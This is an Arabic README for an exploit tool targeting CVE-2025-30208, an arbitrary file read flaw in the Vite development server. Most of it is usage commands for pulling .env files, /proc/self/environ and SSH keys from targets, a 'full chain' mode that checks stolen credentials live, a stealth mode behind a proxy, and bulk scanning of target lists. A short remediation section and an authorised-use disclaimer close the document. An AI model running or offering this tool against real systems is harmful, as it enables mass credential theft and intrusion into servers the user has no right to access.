CVE-2025-30208 — قراءة ملفات تعسفية في Vite · v5

CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
الشدة: CVSS 5.3 متوسطة (خادم تطوير يمكن الوصول إليه عبر الشبكة)

⚠ للاستخدامات الأمنية المصرح بها فقط.
الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها غير قانوني.

الوصف

يسمح خادم التطوير في Vite بتقديم ملفات تعسفية من نظام ملفات المضيف عبر طلبات /@fs/.
في الإصدارات المتأثرة، يتيح غياب فحص تعقيم سلسلة الاستعلام للمهاجم إلحاق لواحق مصممة خصيصًا لتجاوز القائمة المسموحة وقراءة أي ملف يمكن للعملية الوصول إليه — بما في ذلك ملفات .env ومفاتيح SSH الخاصة وبيانات اعتماد السحابة وإدخالات /proc.

الإصدارات المتأثرة

متغيرات التجاوز

التثبيت

pip install requests
# or
pip install -r requirements.txt

الاستخدام

هدف واحد — فحص كامل

python main.py -t https://target.com

سلسلة استغلال كاملة (تحقق مباشر من بيانات الاعتماد، السلوك الافتراضي)

python main.py -t https://target.com --full-chain --output /tmp/report

قراءة ملف محدد

python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt

وضع التخفي (تأخيرات عشوائية) + بروكسي وسيط

python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080

فحص مجمّع من قائمة أهداف

python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080

مخرجات متوافقة مع الأنابيب (بدون رموز ANSI)

python main.py -t https://target.com --no-color | tee scan.log

الإصدار

python main.py --version

التشغيل كحزمة

python -m cve30208 -t https://target.com

مرجع سطر الأوامر

منافذ الفحص المجمّع الافتراضية: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443

المخرجات

عند تحديد --output /tmp/report يكتب الماسح:

• /tmp/report.json — نتائج منظمة قابلة للقراءة آليًا
• /tmp/report.md — تقرير Markdown قابل للقراءة البشرية

يطبع الفحص المجمّع دائمًا VULN_COUNT=N في السطر الأخير لسهولة البرمجة النصية في الصدفة:

python main.py -l targets.txt | grep '^VULN_COUNT='

تطبع فحوصات الهدف الواحد SCAN_STATUS=VULNERABLE|NOT_VULNERABLE في النهاية لأغراض الأتمتة.

البنية المعمارية (v5)

cve30208/
├── __init__.py      — public API surface
├── __main__.py      — python -m cve30208 entry point
├── constants.py     — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/scan constants
├── ui.py            — ANSI colour codes, Spin/NullSpin, terminal helpers
├── utils.py         — shared helpers (_unescape_js_string)
├── secrets.py       — scan_secrets(), parse_env(), parse_environ()
├── ssh.py           — extract_ssh_key(), collect_ssh_targets()
├── exploit.py       — ExploitResult, ExploitStage (live credential validation)
│                      includes a check registry for easier extension
├── report.py        — save_report(), make_md()
└── scanner.py       — FR/R dataclasses, Scanner, bulk_scan(), main()
main.py              — backwards-compatibility shim
requirements.txt

إزالة التكرارات

يستبعد الماسح تلقائيًا القطع الأثرية المتكررة بحيث تظل المخرجات نظيفة حتى عندما يساوي HOME قيمة /root أو يظهر السر نفسه في ملفات متعددة:

يُبلغ سطر الملخص عن عدد الملفات والأسرار ومفاتيح SSH التي تم استبعادها كبيانات مكررة، على سبيل المثال:

  deduped     2 file(s), 4 credential(s), 1 SSH key(s) suppressed as duplicates

الإصلاح

1. قم بترقية Vite إلى الإصدار المُصحَّح الخاص بفرعك (انظر الجدول أعلاه).
2. لا تبدأ أبدًا خادم تطوير Vite باستخدام --host 0.0.0.0 على شبكات غير موثوقة.
3. استبدل جميع الأسرار التي ربما تكون قد كُشفت (مفاتيح API، كلمات مرور قواعد البيانات، مفاتيح SSH).
4. دقّق ملفات .env وأزل الأسرار غير الضرورية من المشروع.

الشروط القانونية

هذه الأداة مقدمة لاختبار الاختراق والبحث الأمني المصرح بهما فقط.
باستخدامك لهذه الأداة فإنك تقرّ بأن لديك إذنًا كتابيًا صريحًا لاختبار الأنظمة المستهدفة.
لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج.

CVE-2025-30208 PoC v5

ملاحظة حول مخطط JSON

يتضمن ملف JSON المُنشأ الآن:

• schema_version (الحالي: 1.0.0)
• status (VULNERABLE أو NOT_VULNERABLE)
• safe_mode (true عند تفعيل وضع تنقيح الأسرار في الطرفية)
• report_redacted (true عند وجود سر واحد على الأقل وتم تنقيحه في التقارير المحفوظة)
• يتم دائمًا تنقيح القيم السرية المحفوظة في ملفات تقارير JSON/Markdown